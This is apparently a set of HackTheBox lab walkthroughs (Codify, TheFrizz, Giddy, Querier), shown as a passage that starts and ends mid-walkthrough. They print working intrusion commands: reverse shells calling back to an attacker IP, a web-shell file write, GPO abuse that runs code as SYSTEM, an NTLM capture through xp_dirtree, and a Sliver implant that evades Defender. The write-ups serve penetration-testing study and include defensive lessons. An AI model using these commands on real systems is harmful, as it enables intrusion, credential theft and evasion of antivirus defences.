After triggering the payload through the web interface,

I received a shell as the svc user. I upgraded it immediately to make it interactive:

python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm

4. Privilege Escalation

Initial Enumeration

I began with basic checks:

whoami
sudo -l

There were no sudo privileges for svc, so I looked for other users on the system:

grep "sh$" /etc/passwd

I identified joshua and root, which suggested that lateral movement would likely be required.

Finding Credentials

Following my checklist, I explored the web directory:

cd /var/www/

I searched for files that might contain credentials:

find . -type f -name "*.db" 2>/dev/null
find . -type f -name "*conf*" 2>/dev/null

This led me to /var/www/contact/tickets.db, which contained a bcrypt hash for the joshua user.

I cracked the hash using John:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt

The password was spongebob1. I tested it against SSH:

ssh joshua@codify.htb

The login succeeded, confirming password reuse.

Privilege Escalation Vector

Once logged in as joshua, I checked sudo permissions:

sudo -l

I discovered that I could run /opt/scripts/mysql-backup.sh as root. This immediately stood out as a potential escalation path, so I examined the script closely.

Root Exploit

The script contained a flawed password check:

if [[ \(DB_PASS == \)USER_PASS ]]

Because the variables were not quoted, Bash interpreted the comparison as pattern matching rather than a strict equality check. This allowed me to bypass authentication by entering:

*

Additionally, the script passed the root password to mysqldump via a command-line argument, exposing it in running processes. To capture this, I used pspy:

wget http://10.10.15.205/pspy
chmod +x pspy
./pspy

In another session, I executed the script:

sudo /opt/scripts/mysql-backup.sh

After entering *, the script ran successfully. Monitoring pspy, I observed the root password in plaintext within the process arguments.

I then switched to root:

su root

The system was fully compromised.

5. Lessons Learned

1. Version Disclosure Enables Targeted Exploitation

Exposing the exact version of vm2 made it trivial to identify a working exploit. This reinforced how dangerous version disclosure can be in real environments.

2. Third-Party Libraries Are Part of the Attack Surface

The vulnerability wasn’t in the application itself, but in a dependency. This highlights the importance of auditing and updating all components, not just core code.

3. Unquoted Variables in Bash Can Break Security Logic

Failing to quote variables led to pattern matching instead of strict comparison, completely bypassing authentication.

4. Process Arguments Can Leak Sensitive Data

Passing the root password via command-line arguments exposed it to any user capable of monitoring processes, making privilege escalation trivial.

6. Defensive Insight

1. Avoid Exposing Internal Version Information

Applications should not disclose library versions, especially when those components are security-critical.

2. Keep Dependencies Patched and Updated

Outdated libraries—particularly sandboxing mechanisms—can completely undermine application security.

3. Always Quote Variables in Bash Scripts

"$VAR"
Proper quoting ensures comparisons behave as intended and prevents pattern-matching abuse.

4. Never Pass Credentials via Command-Line Arguments

Sensitive data should be handled securely through protected configurations or environment variables, not exposed in process listings.

Useful Commands

Port Scanning

rustscan -a 10.129.15.49 -b 7000

Subdomain Enumeration

ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20

Directory Brute Force

ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt

Exploit Lookup

searchsploit vm2

Hash Cracking

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Process Monitoring

./pspy

Machine Name: TheFrizz
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.232.168
Objective: Gain initial access to the domain, pivot through multiple user contexts, and fully compromise the environment by abusing Group Policy permissions.

TheFrizz ended up being one of the most realistic Active Directory boxes I have worked through so far. It felt like a layered environment where progress came from paying attention, understanding Kerberos behavior, hunting for credentials in the right places, and pivoting. What I liked most about it was that each stage naturally led into the next. The web server gave me the first foothold, that foothold exposed credentials, those credentials led to a real domain user, and from there the box shifted into a much more AD-focused exercise that finished with a very instructive GPO abuse attack.

Tools Used

• RustScan

• NetExec

• rpcclient

• ffuf

• curl

• Python HTTP server

• Netcat

• MySQL client

• Hashcat

• RustHound CE

• SSH

• SCP

• 7-Zip

• grep

• SharpGPOAbuse

2. Enumeration

Nmap Scan

rustscan -a 10.129.232.168 -b 7000

As always, I started with a port scan to get the attack surface. Right away, the results looked exactly like what I would expect from a domain-connected Windows target. I saw the usual Active Directory-related services such as Kerberos, LDAP, SMB, and DNS, which immediately told me I was dealing with a domain environment and not just a standalone Windows host. At the same time, there were two other services that stood out to me right away: a web server on port 80 and SSH.

The presence of SSH on a Windows target was interesting because that is not always exposed, and I made a mental note that it might become useful later if I got valid credentials.

The scan also leaked the FQDN information, frizzdc.frizz.htb, which is always key early on in an AD box because it helps ground the rest of the enumeration in the correct domain context. I added it to my hosts file before going on. On AD targets, it's critical to do this first because it avoids problems later when using Kerberos-dependent tooling.

echo "10.129.232.168 frizzdc.frizz.htb frizz.htb"| sudo tee -a /etc/hosts

SMB Enumeration

nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares

My next move was to follow my normal AD checklist and begin with SMB. I wanted to know right away whether the box allowed any kind of anonymous or guest access because that can sometimes open the door to quick share enumeration or user discovery.

That did not happen here. Both null and guest-style authentication attempts failed. which shut down the anonymous SMB angle pretty quickly.

RPC Enumeration

rpcclient -U "" -N 10.129.232.168

After SMB, I tested RPC anonymously. Just like SMB, this failed as well. The target returned NT_STATUS_NOT_SUPPORTED, so anonymous RPC enumeration was off the table too.

LDAP Enumeration

Anonymous LDAP enumeration was also not allowed. That meant no anonymous SMB, no anonymous RPC, and no anonymous LDAP meant I was not going to build my initial foothold from a misconfigured AD service.

With that in mind I shifted my attention to the next attack surface: the website on port 80.

Web Enumeration

ffuf -u http://frizz.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt

I kicked off a directory fuzz and also started manually browsing the site in my browser. The website appeared to belong to an elementary school. It had school-related content, general information, and multiple links. Most of those links went nowhere, but one of them led to Gibbon LMS.

Once I landed on the Gibbon page, I noticed the version number right away at the bottom: 25.0.00. Whenever I can identify a framework, CMS, or platform version during enumeration, I treat that as a major lead.

The Gibbon page also had a login portal, so I tried some default credentials just in case, but they were unsuccessful. The links on the page were not especially useful either. Still, the important part was already in front of me: I had a named platform and a visible version number.

Vulnerability Research

From there, I searched for vulnerabilities affecting Gibbon 25.0.00 and came across a very promising result: an unauthenticated file write vulnerability that could be turned into remote code execution.

The vulnerability was described as follows:

GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.php does not require authentication. The endpoint accepts the img, path, and gibbonPersonID parameters. The img parameter is expected to be a base64 encoded image. If the path parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution.

Once I found that, the first thing I needed to do was confirm whether the vulnerable endpoint actually existed on the target.

3. Exploitation

Confirming File Write

curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&path=neo.php&gibbonPersonID=0000000001'

After confirming the vulnerable endpoint existed, I first used it to write a harmless text file and then verified that I could retrieve it successfully from the server.

Once the text file test worked, I moved on to writing a PHP web shell. That worked too. At that point I had unauthenticated code execution through the web application.

Shell as w.webservice

python3 -m http.server 80
nc -nvlp 7777

After proving I could execute commands through the uploaded PHP file, I used that access to pull down a PowerShell reverse shell script from my Python web server and shortly after that I caught a shell on my Netcat listener.

The shell landed as:

frizz\w.webservice

whoami
net user

As soon as I had the shell, I started with the usual questions: who am I, what can I see, and what can I use from here?

Running whoami showed I was the w.webservice account. Then I used net user to list local or domain-visible accounts. The result gave me a strong set of usernames to work with, including accounts like:

• Administrator

• f.frizzle

• M.SchoolBus

• Guest

• krbtgt

• w.Webservice

That list turned out to be extremely useful later, because it gave me a ready-made set of candidates for username validation, AS-REP roasting attempts, and password spraying.

At this stage I also ran:

whoami /all

but there were no interesting privileges or groups attached to w.webservice.

Local Enumeration

I checked for the two Windows privilege escalation angles I usually look at early:

• cached Group Policy Preference passwords

• AutoLogon credentials

I checked for XML files under the Group Policy History path and also reviewed the Winlogon registry settings. Neither path gave me anything useful here. That ruled out two common quick wins.

I then tried moving into user directories to see whether there were any loose files, notes, scripts, or other artifacts left behind, but w.webservice was too restricted to browse the users directory. Since those routes were blocked, I shifted to one of the places I specifically like checking early on web targets: the web application directory itself.

Credential Hunting in the Web Root

The target was using XAMPP, so I started looking around there. I specifically wanted config files, .ini files, database references, or anything else that might contain credentials. Since I already knew MySQL was present on the box, seeing the mysql directory inside XAMPP reinforced that I was looking in the right place.

I moved into the website root under C:\xampp\htdocs, then into the Gibbon application directory, and there I found exactly the kind of file I was hoping for:

config.php

When I opened it, I immediately found database credentials:

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

This was a great example of why I like checking application directories early. The initial shell did not have strong privileges, but web applications often keep secrets close by.

Testing the Database Credentials

The next question was whether the password I found was reused anywhere else. I sprayed it against my username list, but it did not work for domain logons.

If the password was not reused directly for user authentication, the next best use for it was exactly what it was intended for: database access.

I used the local MySQL binary on the host to connect with the credentials from config.php. That worked. My interaction was a little clunky because I was not sitting in a clean, fully interactive MySQL session, so I was effectively running one command per login attempt.

I first enumerated the databases and saw one meaningful non-default database: gibbon.

Then I listed the tables and noticed gibbonperson, which looked like the most likely place to find account-related information.

When I dumped the contents of gibbonperson, I found a user record for f.frizzle along with a password hash.

That was the next major pivot point.

Cracking the Hash and Pivoting to f.frizzle

I took the recovered hash offline and cracked it with Hashcat. Once I had the password, I tested it.

The first interesting wrinkle here was that it did not work the way I expected with NTLM-based authentication. Testing it with SMB in the usual way failed. But when I switched to Kerberos authentication, it worked.

That was one of the better lessons from the box. The credential was valid, but the authentication method mattered. If I had treated the initial NTLM failure as proof the credential was useless, I would have thrown away a working domain password.

With the valid credentials for f.frizzle, I requested a TGT, initialized it, and used SSH with Kerberos authentication to connect to the target:

export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k

That got me a PowerShell session on the target as frizz\f.frizzle.

BloodHound Collection

rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z

Now that I had valid domain credentials, I wanted to step back and look at the broader domain graph. I used RustHound CE to collect data for BloodHound and then reviewed it for privilege escalation paths.

f.frizzle did not appear to have an obvious outbound object control path or some immediate misconfiguration I could exploit.

Since BloodHound was not handing me the answer, I went back to local enumeration.

4. Privilege Escalation

Enumerating as f.frizzle

whoami /all
tree /f /a

Once I had f.frizzle, I repeated my basic checks. I ran whoami /all to look for useful privileges or interesting group memberships, but there was nothing useful. I enumerated the user’s home directory with tree, but there were no especially interesting files there. I also tried browsing other users’ directories, but I did not have the access needed to pull anything useful from them.

I checked ProgramData, both Program Files directories, and other standard places where useful artifacts sometimes show up. Everything looked normal. No obvious credentials, no standout config files, no quick escalation vector.

This was the point in the box where I started to feel a little stuck. I had gone from web compromise to a valid domain user, but the next step was not obvious.

That ended up being one of the best parts of the machine, because the path forward came from a technique I had not really thought about before.

Checking the Recycle Bin

While continuing local enumeration, I checked the recycle bin for user artifacts. That turned out to be the breakthrough.

In the recycle bin, I found files with the familiar Windows recycle naming pattern. There are generally two types of entries involved there:

• files beginning with $I, which contain metadata about the original file

• files beginning with $R, which are the actual deleted file contents

That was something I had not really leaned on before as a privilege escalation check, so this box was genuinely instructive in that regard.

Inside the recycle bin, I found a real file:

$RE2XMEG.7z

That looked immediately worth pulling.

Exfiltrating and Extracting the Archive

scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z

I copied the 7z archive back to my Kali box using scp and then extracted it locally.

Once extracted, the archive contained a large number of files, so I started doing what I usually do in that situation: searching for strings that looked like credentials, secrets, passwords, or config values.

I used grep and found a base64-looking value in one of the files:

IXN1QmNpZ0BNZWhtZWd1Q0hUgo=

Decoding the Secret and Spraying It

echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d

Decoding the value gave me a plaintext secret:

!suBcig0MehTed!R

As soon as I had that, I tested it against my list of domain users.

My first round of spraying did not succeed over NTLM, but when I repeated the attempt using Kerberos, the credential turned out to be valid

for:

M.SchoolBus

That was another place where Kerberos awareness mattered. The password was good, but the authentication context made the difference between “this seems dead” and “this is the next pivot.”

Pivoting to M.SchoolBus

ssh M.SchoolBus@10.129.232.168 -k
whoami /all

I used the recovered credentials to SSH into the box as M.SchoolBus and immediately checked the user’s group memberships.

The account was a member of Group Policy Creator Owners.

That group membership was the path to full compromise.

What made this part especially valuable from a learning perspective was that it introduced me to a privilege escalation technique that feels very real in enterprise environments: GPO abuse. If a user has the ability to create and link Group Policy Objects in the right places, that can translate directly into code execution on high-value systems, including domain controllers.

Understanding the GPO Abuse Path

At a high level, the abuse path here was simple:

1. Create a new GPO

2. Link it where it will affect the Domain Controllers OU

3. Add a malicious scheduled task to that GPO

4. Force policy refresh

5. Wait for the domain controller to execute the task as SYSTEM

I was using legitimate AD administrative mechanisms in a malicious way because the compromised user had the rights to do so.

That makes this kind of attack especially dangerous in real environments. If a group like Group Policy Creator Owners is not tightly controlled, it can become a direct path to domain-wide impact.

Creating and Linking the Malicious GPO

New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"

After understanding the path, I created a new GPO named neo and linked it to the Domain Controllers OU.

That alone did not trigger anything yet, but it prepared the environment for the next step: embedding a malicious action inside the policy.

Using SharpGPOAbuse to Execute Code

To weaponize the GPO, I downloaded the SharpGPOAbuse binary to the target using my Python web server. Then I used it to add a scheduled task to the GPO. The scheduled task was configured to execute a PowerShell command that would stage and run my reverse shell payload.

Conceptually, the attack worked like this:

• the GPO carried a scheduled task

• the scheduled task executed in the context of the affected machine

• because the GPO was linked to the Domain Controllers OU, the domain controller processed it

• the task executed as SYSTEM

That meant my original low-privileged foothold had now turned into code execution on the domain controller itself.

This was easily the most instructive part of the machine for me.

Forcing Policy Update and Catching SYSTEM

Once the GPO was in place, I set up my Netcat listener and then forced a Group Policy update so the malicious scheduled task would get applied.

After that, I caught the shell back as SYSTEM.

5. Lessons Learned

1. Version Disclosure Can Be the Difference Between Wandering and Winning

One of the earliest lessons reinforced here was that version disclosure matters. Seeing 25.0 at the bottom of the Gibbon page was not a trivial detail. It was the key that turned a generic web application into a known, vulnerable target.

2. Config Files Can be Goldmines for Credentials

The foothold as w.webservice did not give me much by itself, but the application files did. Finding the database credentials in config.php was one of the biggest pivots on the box.

3. Authentication Method Matters

This machine did a very good job of reminding me that a credential failing in one context does not automatically mean it is invalid. The f.frizzle and M.SchoolBus pivots worked when I approached them with Kerberos, even where NTLM-style testing was misleading. That is a lesson worth remembering on every AD target going forward.

4. Recycle Bin Enumeration Is a Real Privilege Escalation Check

Before this box, checking recycle bins was not something I thought about much as part of local enumeration. After this box, it absolutely is. Deleted files are still files, and if a user threw away something sensitive without securely removing it, that can become the next pivot.

5. Group Memberships Mean More Than They Sometimes Look Like

Seeing that M.SchoolBus was in Group Policy Creator Owners ended up being the entire win condition. This machine was a great reminder that privilege escalation in AD is often about understanding what a permission actually allows you to do operationally. A group name might not scream “domain compromise” at first glance, but if you know the abuse path, it absolutely can be.

6. Defensive Insight

1. Public Version Disclosure Increases Risk

Exposing the exact version of an internet-facing application makes vulnerability research much easier for an attacker. Even when that seems harmless from an administrative perspective, it narrows the attacker’s search space significantly and can speed up exploitation.

2. Dangerous Functionality Should Never Be Exposed Without Strong Access Control

The vulnerable Gibbon endpoint allowed unauthenticated file write, which is an extremely dangerous primitive. Any endpoint capable of writing content to disk should be tightly controlled, validated, and monitored. Leaving that kind of functionality exposed to unauthenticated users is a direct path to compromise.

3. Application Secrets Should Not Be Stored So Readily

The database credentials inside config.php gave me the next major pivot after initial access. That kind of secret storage is still very common in real-world applications, which is exactly why it remains such an effective target for attackers. Secrets should be tightly controlled, rotated, and segregated wherever possible.

4. Credential Reuse and Recoverable Secrets Continue to Be a Major Problem

The archive recovered from the recycle bin contained a secret that led directly to another user account. Even though the file had been deleted, it still represented live credential exposure. Sensitive archives, config dumps, and internal project files should be treated as high-risk artifacts throughout their lifecycle, including after deletion.

5. Group Policy Permissions Must Be Closely Controlled

The most severe issue on the box was not the web exploit alone. It was the fact that a compromised user in Group Policy Creator Owners could create and link a malicious GPO against the Domain Controllers OU. Permissions around GPO creation, linking, and modification should be tightly audited and restricted to only the smallest necessary set of administrators.

6. GPO Activity Should Be Monitored Aggressively

The creation of a new GPO, linking it to domain controllers, and adding a scheduled task are all events defenders should care deeply about. Those actions are powerful administrative operations, and unusual activity around them should generate immediate attention in a mature environment.

Useful Commands

Initial Scan

rustscan -a 10.129.232.168 -b 7000

SMB Enumeration

nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares

RPC Enumeration

rpcclient -U "" -N 10.129.232.168

Exploiting Gibbon

curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&path=neo.php&gibbonPersonID=0000000001'

Local Database Access

C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 -e "SHOW DATABASES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SHOW TABLES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SELECT * FROM gibbonperson;"

BloodHound Collection

rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z

Kerberos Pivot

export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k

Recycle Bin Artifact Exfiltration

scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z
grep -r password .
echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d

Kerberos Password Spray

nxc smb frizzdc.frizz.htb -u user.txt -p '!suBcig0MehTed!R' -k

GPO Abuse Setup

New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
.\sharp.exe --addcomputertask --GPOName "neo" --author "neo" --taskname "wtshelly" --Command "powershell.exe" --arguments "powershell -e JABjAGwAaQBlAG4AdAA9ACIA...<base64 omitted for brevity>..."
gpupdate /force

• Machine Name: Giddy

• Platform: HackTheBox

• Operating System: Windows

• Target IP: 10.129.96.140

• Objective: Gain initial access to the target system and escalate privileges to full administrative control.

This box stood out to me because it reinforced core fundamentals while also introducing new tools and techniques that I know will be useful moving forward. One of the biggest takeaways for me was that this was the first machine where I had to seriously deal with antivirus evasion, which is something you can’t ignore in real-world environments. Up to this point, payloads had just worked, but this box forced me to understand why they fail and how to adapt. Overall, it was a well-rounded and very instructional machine that strengthened my foundation while introducing practical, real-world considerations like AV evasion and modern payload generation.

Tools Used

• Nmap

• ffuf

• sqlmap

• Responder

• John the Ripper

• Evil-WinRM

• msfvenom

• Sliver

2. Enumeration

I began the engagement with an Nmap scan to understand the attack surface of the target.

nmap -sC -sV -T4 10.129.96.140

From the scan results, I observed several key services:

• 80/tcp (HTTP) → Microsoft IIS 10.0

• 443/tcp (HTTPS) → Microsoft IIS 10.0

• 3389/tcp (RDP) → Microsoft Terminal Services

• 5985/tcp (WinRM/HTTPAPI)

While RDP and WinRM were exposed, the most promising attack surface was clearly the web services running on ports 80 and 443.

I started with directory fuzzing against both HTTP and HTTPS using ffuf while manually inspecting the web applications in my browser.

ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt

When visiting the root page on both ports, I was met with nothing more than a static image of a dog.

There was no functionality, no input fields, and no obvious attack vectors. Even inspecting the page source revealed nothing useful.

At this point, I shifted focus to my ffuf results, which revealed two interesting endpoints:

• /remote

• /mvc

The /remote endpoint presented a Windows PowerShell Web Access login portal, which immediately stood out as a high-value target. However, without credentials, I could not proceed further at that stage.

I then moved to the /mvc endpoint, which appeared to be a basic marketplace-style web application skeleton of a site in development.

While browsing through it, I noticed that product links exposed a query string parameter:

Product.aspx?ProductSubCategoryId=11

Anytime I see a query parameter like this, it immediately becomes a priority target for testing injection vulnerabilities.

I first tested for file inclusion by attempting to load a local file such as /windows/win.ini, but this did not yield any results.

Next, I tested for SQL injection by inserting a single quote (') into the parameter. This triggered a 500 internal server error, leaking backend SQL information.

That right there is a classic sign of SQL injection. The application was not properly sanitizing input, and the backend database was exposing error messages. At that point, I knew this was a potential path forward towards compromise.

3. Exploitation

With a confirmed SQL injection point, I moved to automate exploitation using sqlmap.

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch

Sqlmap successfully identified a Microsoft SQL Server backend and allowed me to enumerate databases and dump tables. However, there were no useful credentials or sensitive data exposed.

At this point, I pivoted to a more traditional but extremely effective technique: capturing NTLM authentication via SQL Server.

I set up an SMB listener using Responder and leveraged the xp_dirtree function through sqlmap to force the server to authenticate to my machine:

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" \
--level 4 --risk 3 \
--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'" \
--batch

This worked perfectly. The server attempted authentication, and I captured an NTLMv2 hash for the user Stacy.

I then cracked the hash offline using John the Ripper:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

With valid credentials in hand, I returned to the /remote PowerShell Web Access portal and successfully authenticated, gaining a PowerShell session on the target as Stacy.

4. Privilege Escalation

Now operating as a low-privileged user, I began my standard Windows privilege escalation process.

• Enumerated users:

net user

• Checked privileges:

whoami /all

No useful privileges were identified.

I then checked for:

• AutoLogon credentials → none

• GPP cpasswords → none

At that point, I pivoted to the user’s home directory and discovered an interesting file:

unifivideo

After transferring it to my machine and inspecting it, I found it contained only:

stop

This pointed me toward UniFi Video, a service likely installed on the system.

Research revealed a known privilege escalation vulnerability:

• The UniFi Video service runs as SYSTEM

• It attempts to execute taskkill.exe from its installation directory

• The directory is writable by low-privileged users

• The binary does not exist by default

That combination allows arbitrary code execution as SYSTEM.

I confirmed the directory existed and was writable, then generated a reverse shell payload using msfvenom:

msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe

I transferred the payload to the target and identified the service name by enumerating the registry:

dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi

After identifying the service, I stopped and restarted it to trigger execution.

However, no shell was received.

This was a key turning point. The payload failed because Windows Defender detected and blocked the msfvenom binary.

Instead of forcing the same approach, I adapted and switched tools.

This is where I was introduced to Sliver, and more importantly, the concept of implants.

An implant is not just a basic payload—it is a more advanced, often obfuscated executable designed to behave like a legitimate program while maintaining a connection back to the attacker. These are far more effective in environments with antivirus protections because they avoid the well-known signatures that tools like msfvenom produce.

I generated a new implant using Sliver:

sliver > mtls
sliver > generate --mtls 10.10.15.205 --os windows --arch amd64

I renamed the generated binary to taskkill.exe and transferred it to the target.

After restarting the UniFi service again, the implant executed successfully and bypassed Defender.

I received a callback and confirmed my privileges:

whoami

NT AUTHORITY\SYSTEM

Full control of the machine.

5. Lessons Learned

1. Web Enumeration Is Everything
Identifying /mvc and recognizing the importance of query parameters was the key that unlocked the entire attack chain.

2. SQL Injection Can Be Leveraged Indirectly
Even without credentials in the database, SQL injection still provided a path to capture NTLM hashes.

3. NTLM Capture Remains Extremely Effective
Forcing authentication through SQL Server functions is a reliable method when direct data extraction fails.

4. Antivirus Changes the Game Completely
This was my first real exposure to payloads failing due to Defender. It forced me to stop relying on “default” tools and start thinking about detection and evasion.

5. Understanding Implants vs Traditional Payloads- How to Use Sliver
This box taught me that msfvenom payloads are often noisy and easily detected. In contrast, tools like Sliver generate implants that:

• Use modern communication methods (like mTLS)

• Are obfuscated and less signature-based

• Behave more like real applications

This is a major shift in mindset from “just get a shell” to “get a shell that survives defenses.”

6. Tool Adaptation Is Critical
When msfvenom failed, switching to Sliver wasn’t optional—it was necessary. This reinforced the idea that no single tool is enough.

6. Defensive Insight

1. Proper Input Validation Prevents SQL Injection
Parameterized queries would have completely eliminated the initial attack vector.

2. Restrict Dangerous SQL Functions
Functions like xp_dirtree should not be accessible, as they enable forced authentication attacks.

3. Block Outbound SMB Traffic
Preventing outbound authentication would stop NTLM hash capture attacks entirely.

4. Secure Service Execution Paths
Services running as SYSTEM must not rely on executables in writable directories.

5. Improve Behavioral Detection
Signature-based detection caught msfvenom, but stronger behavioral detection is needed to catch more advanced implants like those generated by Sliver.

Useful Commands

Nmap Scan

nmap -sC -sV -T4 10.129.96.140

Directory Fuzzing

ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt

SQL Injection with sqlmap

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch

NTLM Capture via SQL Server

--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'"

Crack NTLM Hash

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Generate msfvenom Payload

msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe

Enumerate Services via Registry

dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi

Generate Sliver Implant

sliver > mtls
sliver > generate --mtls 10.10.15.205 --os windows --arch amd64

Machine Name: Querier
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.9.231

Objective:
Gain initial access to the target system and escalate privileges to obtain administrative-level access.

This machine stood out to me because there was no Active Directory domain to lean on and no web application to exploit. Everything revolved around SMB and MSSQL,

Tools Used

• RustScan

• SMBClient

• NetExec (nxc)

• Olevba

• Impacket (mssqlclient)

• Responder

• John the Ripper

• Netcat

• Evil-WinRM

• gpp-decrypt

2. Enumeration

I kicked things off with a port scan to map out the attack surface:

rustscan -a 10.129.9.231 -b 7000

The results painted a clear picture:

• SMB (139, 445)

• RPC (135 + high ports)

• WinRM (5985)

• MSSQL (1433)

That combination immediately suggested a Windows host with remote management exposed and a database service.

Another useful detail surfaced during enumeration—the FQDN:

querier.htb.local

I added it to my hosts file right away:

echo "10.129.9.231 querier.htb.local" | sudo tee -a /etc/hosts

SMB Enumeration

With SMB open, it made sense to start there. It’s fast to check and has a habit of exposing things it shouldn’t—whether that’s files, usernames, or outright credentials.

My first pass used NetExec:

nxc smb 10.129.9.231 -u '' -p '' --shares

The output suggested that anonymous authentication wasn’t allowed. That could have been the end of the road for SMB, but I’ve seen enough inconsistencies across tools to know better than to trust a single result.

To verify, I switched to smbclient:

smbclient -N -L //10.129.9.231

This time, I got a valid share listing.

That difference is exactly why it’s worth cross-checking tools—same idea, different implementation, completely different outcome.

Among the shares, one stood out:

Reports

I connected to it:

smbclient -N //10.129.9.231/Reports

A quick directory listing showed:

Currency Volume Report.xlsm

A single file, I downloaded it for a closer look.

File Analysis

Macro-enabled Office files are always worth digging into. They’re often used to automate tasks internally, which means they sometimes carry hardcoded credentials or logic that wasn’t meant to be exposed.

After pulling the file locally, I ran:

olevba Currency\ Volume\ Report.xlsm

The macro content revealed exactly that—embedded credentials:

User: reporting
Password: PcwTWrHwrwyjc$c6

At this point, the direction was clear. Those credentials had to belong somewhere, and given the services available, MSSQL was the most likely candidate.

3. Exploitation

With a valid username and password in hand, the next step was to test them against exposed services. MSSQL stood out immediately, especially since service accounts are often tied directly to database access.

impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth

The connection succeeded, giving me a foothold inside the database.

Initial SQL Enumeration

The first priority was to understand the level of access I had:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

The result showed that reporting was a low-privileged user. No direct path to execution there.

Next, I checked what databases were available:

SELECT name FROM master.sys.databases;

One entry stood out:

volume

Switching to it:

use volume;

Unfortunately, it was empty. No useful tables, no sensitive data, nothing to extract.

At that point, it was clear that progress wouldn’t come from data mining. The focus had to shift toward abusing MSSQL itself.

Hash Capture via xp_dirtree

MSSQL includes several stored procedures that interact with the filesystem, and some of them can be repurposed in interesting ways. One of those is xp_dirtree.

Instead of pointing it at a local directory, I directed it toward a share I controlled:

xp_dirtree \\10.10.15.205\neo

That forced the server to attempt an SMB connection back to me.

Behind the scenes, the MSSQL service tried to authenticate to my machine using its own service account. With Responder running, I captured the resulting NTLMv2 hash:

mssql-svc::QUERIER:...

Cracking the Hash

Once captured, the hash was saved and cracked:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

The result:

mssql-svc : corporate568

This was the real pivot point. Service accounts tend to have broader permissions, and this one was no exception.

4. Privilege Escalation

MSSQL Privilege Abuse → RCE

I reconnected using the new credentials:

impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth

Checking permissions again:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

This time, the output told a very different story:

• CONTROL SERVER

• IMPERSONATE

Those privileges effectively grant full control over the MSSQL instance. At that point, the goal shifts from access to execution.

Enabling xp_cmdshell

With sufficient privileges, I enabled xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

This is where MSSQL stops being just a database and starts acting as a bridge into the operating system.

Reverse Shell

To turn command execution into a usable foothold, I hosted a Netcat binary over SMB and executed it remotely:

xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001

On my end:

nc -lvnp 9001

The connection came through as:

querier\mssql-svc

Now I had a shell on the box.

Local Enumeration

With system access established, I moved into local enumeration.

Checking privileges:

whoami /all

Nothing useful.

Looking at users:

• mssql-svc

• Administrator

That ruled out lateral movement and pointed toward local privilege escalation.

Autologon credentials were next on the list, but nothing turned up. At that stage, I started checking common misconfigurations that tend to get overlooked.

GPP Password Discovery

One of the more reliable places to look in environments like this is cached Group Policy Preferences.

I navigated to:

